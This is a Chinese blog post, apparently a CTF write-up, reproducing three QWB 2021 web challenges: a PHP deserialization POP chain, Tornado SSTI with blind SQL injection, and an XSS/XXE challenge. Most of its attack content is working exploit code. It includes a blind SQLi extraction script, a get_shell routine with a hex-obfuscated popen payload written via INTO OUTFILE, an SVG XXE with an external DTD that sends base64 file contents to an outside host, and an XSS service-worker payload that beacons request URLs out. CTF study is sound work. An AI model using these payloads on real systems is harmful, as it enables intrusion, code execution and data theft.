[强网杯2021]复现 | BUU (要素过多)
[强网杯2021] 复现 | BUU
昨天+今天做这个主要是因为准备跟学长做的一个项目是污染分析的,然后就想到了去年的强网杯,当时用正则做了很久最后也没得到POP链,在事后也没去做复现,看到BUU有题目环境就都复现了一遍。做完了之后最大的感受就是:太顶了,可惜之前赛后没做好复现,错过了好多知识点。
新の发现
说一下新发现吧,复现这三个题目花了我两天时间学习(主要是这两天课太多了),最后也是只是成功复现了一个pop_master而已,但是收获也是不小的,简单说一下吧:
- 使用
php-parser
工具生成AST抽象语法树进行污点分析 - Tornado框架的SSTI渲染
- Mysql的查询记录表和mysql操作写入文件的细节
- XXE远程包含打访问内网(svg+dtd)
- XSS更深入的利用
- Apache2的server-status访问记录
pop_master
出题人文章: 传送门
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->UhyKKZ($b);
在/class.php.txt
里面有一万多个类,就是要我们在那么多类里面找出可用的那调用链,人工审计几乎不可能完成这个任务, 出题人的预期解应该是使用php-parser
工具构建语法树然后再对抽象语法树进行各种各样的操作最终找到可用链。
我们复现直接用出题人的POC即可,其实并不用不用单独再安装php-parser,但是还是记一下怎么安装和使用吧。
php-parser的认识
贴一下出题人文章里面的语法树以及构建调用关系图与控制流程图的解释
抽象语法树
抽象语法树长这样:
我们如何构建抽象语法树呢?可以使用php-parser
工具
构建调用关系图与控制流程图
调用关系图就是指各个函数与类之间的调用关系构成的图,控制流程图将代码根据if
等跳转语句分割成块,然后这些块之间构成的关系图。调用关系图是将PHP代码进行宏观分割,分割成各个函数与类,然后根据调用关系将这些函数与类连接起来。而控制流程图是微观的图,他是将函数的定义语句分割成代码块,然后根据跳转关系将各个代码块连接起来。用图来表示就是下图所示(左边是调用关系图,右边是调用关系图中某个函数的控制流程图):
调用关系图的构建非常简单,控制流程图的话稍微复杂一点,就是遍历抽象语法树,当遇到IF
等各类跳转节点就新建一个代码块,然后找到对应的代码块跳转关系即可。
php-parser的安装&使用
安装`php-parser`:
curl -s http://getcomposer.org/installer | php
php composer.phar require nikic/php-parser
使用`php-parser`:
vi test.php
php test.php
这时我们当前环境下的php命令就可以直接使用php-parser
工具了
我们使用一个test.php测试一下
<?php
require './vendor/autoload.php';
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
$code = <<<'CODE'
<?php
function test($foo)
{
var_dump($foo);
}
CODE;
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
$dumper = new NodeDumper;
echo $dumper->dump($ast) . "\n";
出题人POC工具获取POP
这个题目去年比赛的时候没做出来,当时没用使用直接使用php-parser工具直接写python脚本对class文件进行正则匹配分析,但是最后因为没有进行消毒的一些匹配操作在最后也没把正确的链子找出来,但是网上是有师傅直接使用正则把这个题做出来的。
我们在这里直接下载使用出题人的POC工具
git clone https://gitee.com/b1ind/pop_master.git
rm code.php
wget http://host:port/class.php.txt -O code.php
php main.php
得到调用链
但是需要注意一下,出题人这个脚本工具并不是每一次都能成功的而且需要的时间较久,如果最后输出Killed也没得到调用链那就重新开一个环境再试一次。
脚本获取POC.php文件
得到pop链之后我们再写一个python脚本生成php文件代码(其实自己一步步找也行,二十多层还是能直接写出来的):
import re
poc="UhyKKZ======>lEQfMu======>cB4FCg======>NLzOPM======>AWvftE======>mx75EF======>Wncp8Y======>x5nFND======>H7hqRf======>p74GQd======>aPQTvi======>tdrXsI======>DAxGNH======>cdoI9k======>znq70r======>CXtFeq======>htgFFx======>D4H825======>BEhF4X======>ngHkI2======>iGE8lf======>V7aSAV======>QEmy15======>EFBSy2======>xdeGP5======>eval"
funcs=poc.split("======>")
file=open("text","r")
tmp_class=""
line=file.readline()
yes,num=False,0
end_class=[] #存放符合标准的类
php_flag="<?php\n"
while(1):
try:
class_name = re.findall(r"^class.{7}", line)[0][6::]
if len(class_name):
if yes:
end_class.append([num,re.findall(r"^class.{7}", tmp_class)[0][6::],tmp_class])
# print(tmp_class)
yes = False
tmp_class=""
except:
pass
try:
func=re.findall(r"public function.{7}",line)[0][-6::]
for i,f in zip(range(30),funcs):
if func == f:
yes=True
num=i
except:
pass
tmp_class += line
line=file.readline()
if line=="":
break
end_class.sort()
for i,c,t in end_class:
try:
end_class[i].append(end_class[i+1][1])
end_class[i].append(funcs[i+1])
next_class,next_func=end_class[i][-2],end_class[i][-1]
# print("This class:",c)
# print("This func:",end_class[i-1][-1])
# print("this arg:",re.findall(r"\$this->.*->"+next_func,t)[0][-15:-8])
end_class[i].append(re.findall(r"\$this->.*->"+next_func,t)[0][-15:-8])
# print("Next class:", next_class)
# print("Next func:", next_func)
# print("-"*10)
except:
pass
#end_class(执行顺序,类名,类代码,下一个类的类名,下一个类执行的函数,当前类需要赋值的属性名)
for i in end_class:
php_flag+=i[2]
for i,n in zip(end_class,range(len(end_class))):
php_flag+="$c"+str(n)+"="+"new "+i[1]+"();\n"
php_flag+="\n"
for i,n in zip(end_class,range(len(end_class))):
try:
php_flag+="$c"+str(n)+"->"+i[5]+"=""$c"+str(n+1)+";\n"
except:
pass
php_flag+="echo urlencode(serialize($c0));"
print(php_flag)
得到payload直接拿去用发现确实执行了eval
但是报错了
我们本地执行测试一下最后eval执行的字符串是什么
可以看到在后面加了一些字符,这是小问题,我们在payload后面加个//
将其注释掉即可
也没啥限制,直接执行system("cat /flag");//
获取flag
陀那多
知识点一:
mysql会纪录执行的sql语句到performance_schema.events_statements_summary_by_digest
同理select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest即可得到表结构
information_schema.processlist表记录了当前查询语句
performance_schema.file_instances拿到对应的数据库文件路径。 例如test数据库,数据库文件路径就是/var/lib
/mysql/test/表.
其实除了这两个表也还有不少可用的表,我找了一下Mysql5.7.26的可用表, 感兴趣的可以看一下这里
import requests
def sql(url):
global payload
for i in range(1,60):
print(i,end="# ")
for j in "abcdefghijklmnopqrstuvwxyz 0123456789,()<>=*?!'`+\"#$%&-./:;@[\]^_{|}~":
print(j,end="")
payload1 = url+"/register.php?password=1&username='and(~0-(if(mid((select Info from information_schema.processlist limit 0,1)," + str(i) + ",1)in(\'" + j + "'),1,-1)))and '1"
payload2 = url+"/register.php?password=1&username='and(~0-(if(mid((select qwbqwbqwbpass FROM qwbtttaaab111e limit 0,1)," + str(i) + ",1)in(\'" + j + "'),1,-1)))and '1"
res = requests.get(payload2)
if "success" in res.text:
payload += j
print("\n"+payload)
break
payload = ""
sql("http://cd8099ee-9d3f-409b-afc8-75bc1f478c95.node4.buuoj.cn:81",)
#admin
#glzjin666888
但是到这里之后再BUU的环境就做不下去了,按理来说应该是用这个admin长啊后登录进去之后会看到一个图片,通过图片接口可有任意文件读取然后读/proc/self/cmdline
后面预期操作来自出题人的文章
{%%}
是tornado
的另一个标签,它里面的语句受到限制,格式为{%操作名 参数%}
,操作名在tornado
的源码中进行了规定,具体源码在tornado
库中的template.py
中,以下为从源码中总结出来的所有操作名。
apply、autoescape、block、comment、extends、for、from、if、import、include、module、raw、set、try、while、whitespace
具体操作的意义请自行阅读源码,本文不再赘述,唯独介绍一下raw
操作,该操作可以执行原生的python代码。
任意文件读取+pyc恢复代码
任意文件读用的是老掉牙的os.path.join
考点,原理不赘述了,看我偶像ph牛的博客吧(https://www.leavesongs.com/PENETRATION/arbitrary-files-read-via-static-requests.html)
这里过滤了.py结尾的文件名,在任意文件读取后,有几个关键文件是需要读到的。
1、/proc/self/cmdline 这个文件可以看到我们的python应用运行的文件夹
2、/proc/self/environ,这个文件可以让我们看到一些重要的属性,比如本WEB服务的权限为mysql用户权限。
3、pyc文件,本来想让选手自己通过读取pyc文件,然后还原python代码的,但是为了减少选手不必要的工作量,我早早就放了hint,pyc文件是有一定的命名规则的,既然我们得知了app.py的目录,我们就可以去该目录寻找pyc文件。pyc的命名规则为__pycache__/文件名.cpython-2位版本号.pyc
,这里文件名为app,版本号需要爆破一下,其实如果你留心的话,本服务器在http返回头中返回了tornado版本号(tornado默认返回的)为Server: TornadoServer/6.0.3
,而该版本的tornado只支持python3.5及其以上版本,因此这里只需要随便猜几次就猜到python版本号了。最终payload为:
/qwbimage.php?qwb_image_name=/qwb/app/__pycache__/app.cpython-35.pyc
4、pyc文件恢复源码,这个比较简单,就不赘述了,使用uncompyle6
工具即可
反编译后得到源码如下:
import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),
'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'
class MainHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie('user')
if user and user == b'admin':
self.redirect('/admin.php', permanent=True)
return
self.render('index.html')
class LoginHandler(tornado.web.RequestHandler):
def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
if not username or not password:
if not self.get_secure_cookie('user'):
self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')
return
if self.get_secure_cookie('user') == b'admin':
self.redirect('/admin.php', permanent=True)
else:
self.redirect('/', permanent=True)
else:
conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
cursor = conn.cursor()
cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username, password])
results = cursor.fetchall()
if len(results) != 0:
if results[0][1] == 'admin':
self.set_secure_cookie('user', 'admin')
cursor.close()
conn.commit()
conn.close()
self.redirect('/admin.php', permanent=True)
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>')
return
else:
cursor.close()
conn.commit()
conn.close()
self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')
return
class RegisterHandler(tornado.web.RequestHandler):
def get(self):
username = self.get_argument('username', '')
password = self.get_argument('password', '')
word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']
bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']
for ban in word_bans:
if re.search(ban, username, re.IGNORECASE):
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
for ban in bans:
if ban in username:
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
if not username or not password:
self.render('register.html')
return
if username == 'admin':
self.render('register.html')
return
conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
cursor = conn.cursor()
try:
cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % username)
results = cursor.fetchall()
if len(results) != 0:
self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')
conn.commit()
conn.close()
return
except:
conn.commit()
conn.close()
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
try:
cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username, password])
conn.commit()
conn.close()
self.finish("<script>alert(`success`);location.href='/index.php';</script>")
return
except:
conn.rollback()
conn.close()
self.finish('<script>alert(`error`);history.go(-1);</script>')
return
class LogoutHandler(tornado.web.RequestHandler):
def get(self):
self.clear_all_cookies()
self.redirect('/', permanent=True)
class AdminHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie('user')
if not user or user != b'admin':
self.redirect('/index.php', permanent=True)
return
self.render('admin.html')
class ImageHandler(tornado.web.RequestHandler):
def get(self):
user = self.get_secure_cookie('user')
image_name = self.get_argument('qwb_image_name', 'header.jpeg')
if not image_name:
self.redirect('/', permanent=True)
return
else:
if not user or user != b'admin':
self.redirect('/', permanent=True)
return
if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
self.finish("nonono, you can't read it.")
return
image_name = os.path.join(os.getcwd() + '/image', image_name)
with open(image_name, 'rb') as (f):
img = f.read()
self.set_header('Content-Type', 'image/jpeg')
self.finish(img)
return
class SecretHandler(tornado.web.RequestHandler):
def get(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('congratulations', 'oh! you find it')
bans = []
for ban in bans:
if ban in msg:
self.finish('bad hack,go out!')
return
with open('congratulations.html', 'w') as (f):
f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
f.flush()
self.render('congratulations.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
def make_app():
return tornado.web.Application([
(
'/index.php', MainHandler),
(
'/login.php', LoginHandler),
(
'/logout.php', LogoutHandler),
(
'/register.php', RegisterHandler),
(
'/admin.php', AdminHandler),
(
'/qwbimage.php', ImageHandler),
(
'/good_job_my_ctfer.php', SecretHandler),
(
'/', MainHandler)], **settings)
if __name__ == '__main__':
app = make_app()
app.listen(8000)
tornado.ioloop.IOLoop.current().start()
print('start')
tornado的SSTI利用与SQL注入结合
{%%}
是tornado
的另一个标签,它里面的语句受到限制,格式为{%操作名 参数%}
,操作名在tornado
的源码中进行了规定,具体源码在tornado
库中的template.py
中,以下为从源码中总结出来的所有操作名。
apply、autoescape、block、comment、extends、for、from、if、import、include、module、raw、set、try、while、whitespace
具体操作的意义请自行阅读源码,本文不再赘述,唯独介绍一下raw
操作,该操作可以执行原生的python代码。
在这里可以使用各种python黑魔法。
Tornadoの{%extends filename%}の渲染文件
得到源码后,发现SSTI过滤了很多东西,其中最致命的就是过滤了{{}}
标签,那么我们可用的只有{%%}
标签,而且{%%}
中的危险操作名已经被我过滤得差不多了,而剩下的操作名中,有一个操作是比较危险的,那就是extends操作,它的参数为一个文件名,该文件将会被作为模板文件被包含,并被渲染。那么如果我们包含一个带有恶意SSTI的payload的字符串的文件,那么是可以执行该SSTI的payload的。因此我们现在需要往服务器上上传一个恶意文件。
Mysql操作写入文件的操作和利用细节
如何往服务器上上传文件呢?根据前文信息,我们可以得知该python应用为mysql用户权限启动,那么我们可以直接考虑通过mysql的into outfile语句写文件。这里分为两步,首先是往数据库里写东西,这个可以直接通过注册功能实现,第二步是将数据库里的数据导出至文件,在mysql中默认导出目录为/var/lib/mysql-files/
,其他目录是没有导出权限的,因此我们将文件导出至该文件夹。
然后通过{%extends /var/lib/mysql-files/xxx%}来包含模板文件,从而执行任意ssti的payload,最终payload如下:
def get_shell(url):
file_name = "aaa"
register_payload = url+"/register.php?password=1&username=%7b%7b__import__(bytes.fromhex(str(hex(28531))[2:]).decode()).popen(bytes.fromhex(str(hex(159698592644438093083295786740770931105195540868394758120956263))[2:]).decode()).read()%7d%7d"
requests.get(register_payload)
upload_file_payload = url+"/register.php?password=1&username=1' or 1 into outfile '/var/lib/mysql-files/" + file_name
requests.get(upload_file_payload)
s = requests.session()
s.get(url+"/login.php?username=admin&password=we111c000me_to_qwb")
res = s.get(url+"/good_job_my_ctfer.php?congratulations={%25extends /var/lib/mysql-files/" + file_name + "%25}")
print(res.text)
HardXSS
只能说这三个题都很有意思,前面两个能做,但是最后这个牵扯的东西有点多,开局一个domain已经把我整不会了,修改cookie也没有用,不知道是不是题目环境有问题(但是有几十个解,不明白了)。
不管怎么说,这个题目也是很有参考价值的, 后面的操作虽然没能浮现出来在这里直接贴几个师傅的文章的解题步骤吧:
ps:两位师傅的wp文章并不完全相同,有挺多有差别的地方的,建议都学习一下(出题人:使用XXE和解释iframe标签的细节以及更牛的一些方法, LwFlKy:使用XSS的一些拓展用法)
1.Mysql注入获取密码或万能密码登录
2.手动设置返回头中的set-cookie内容
3.爆破使用固定值结尾的验证码(小问题,不重要)
这个连接可以进行SSRF
admin页面的源码中有个display:none的元素链接了https://flaaaaaaaag.cubestone.com?secret=demo
但是没办法访问,需要打ssrf
网站上也有用户模块可以访问,可以上传头像,并且也可以实时预览
目前的可用条件:
1.用户模块可以上传图片和文件(admin页面提到支持矢量图可以打xxe)
2.提交反馈页面,上面可以提交链接,并让bot实时访问
3.得知一个需要内网访问的关键链接https://flaaaaaaaag.cubestone.com/?secret=demo
因为矢量图是xml,并且会有回显,可以打xss和xxe。
后面的内容其实我看着也是一知半解,不过我的博客本来就是作为笔记本做一个学习记录的,就直接把出题人icystal师傅的wp帖上来了:
XXE远程包含访问内网
xxe.svg
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "https://xxx/dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg">
</svg>
自己服务器上放置外部引用dtd文件,可读取本地文件,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=upload.php">
<!ENTITY % start "<!ENTITY % send SYSTEM 'https://xxx?%file;'>" >
之后再修改file为之前访问不了的https://flaaaaaaaag.cubestone.com/?secret=demo
得到回显解码后为
<script >
document.domain="cubestone.com";
function pageload(data){
document.body.innerText=data;
}
fetch(`loader.php?callback=pageload&secret=demo`).then((res)=>{return res.text();}).then((data)=>{eval(data);})</script>
修改dtd中% file
的链接为https://flaaaaaaaag.cubestone.com/loader.php?callback=pageload&secret=demo
读取loader.php页面为
pageload('Control center access require a vaild secret key. You entered a invaild secret!')
要想办法获取secret key
xss获取secret key
根据提示管理员一直处于登录状态,并在收到反馈后会访问管理中心,尝试xss获取管理员访问管理中心使用的secret key
以下思路类似西湖论剑2020的hardxss,通过xml的xss实现跨域注册我们的service worker
编写xss.svg如下:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/foo.jpg"
onerror="var iframe = window.parent.document.createElement('iframe');iframe.src = 'https://flaaaaaaaag.cubestone.com';window.parent.document.body.appendChild(iframe);iframe.setAttribute('onload',`window.parent.document.domain='cubestone.com';doc=this.contentDocument;var src=doc.createElement('img');src.setAttribute('onload','navigator.serviceWorker.register(\\'https://flaaaaaaaag.cubestone.com/loader.php?callback=self.addEventListener(%27fetch%27,%20function(event)%20{%20fetch(\\\`https://xxx?\${btoa(event.request.url)}\\\`);%20})//&secret=demo\\')');doc.body.append(src);src.src='https://www.baidu.com/img/flexible/logo/pc/result@2.png';`);">
</image>
</svg>
为什么要在iframe里改父网页document.domain,是因为向西湖论剑那样在XSS脚本里一上来就改是不行的,添加iframe前会报错阻止了跨域访问
,添加iframe后改会报错父页面的domain要和iframe里保持一致
,因为这里脚本跑在svg里而不是父页面里。
上传xss.svg后在提交反馈页面提交xss链接如下:
验证码php爆破一下就行
for($i=1;$i<=999999;$i++){if(substr(md5("$i"),0,5)==="aae25"){echo $i."\n";};echo $i."\r";}
查看自己服务器访问日志得到secret,即flag
最后,server-status也可以通过xss访问,不过同样只能拿到一半flag!
同时出题人还提到其它的WP解法:
使用xslt将xml转换为xhtml页面,使浏览器访问svg时直接解析成html页面,然后就可以和西湖论剑里一样写XSS脚本了
在foo里套了个foreignObject,利用foreignObject里允许使用来自外界的元素,比如主页面的各种html元素,于是就可以在里面套一个iframe,之后也就和西湖论剑的XSS一样了。
在2021-强网杯Web-HarderXSS-复现-WP 里全程使用的是XSS,只能说tql。。。
一个很恐怖的东西
出题人的文章里面还提到了server-status,但是这个东西只能获取一半的flag,在这里页插个眼
Apache2的Server-status默认是开启的,访问一下http://127.0.0.1/server-status
这里有apache的全部访问记录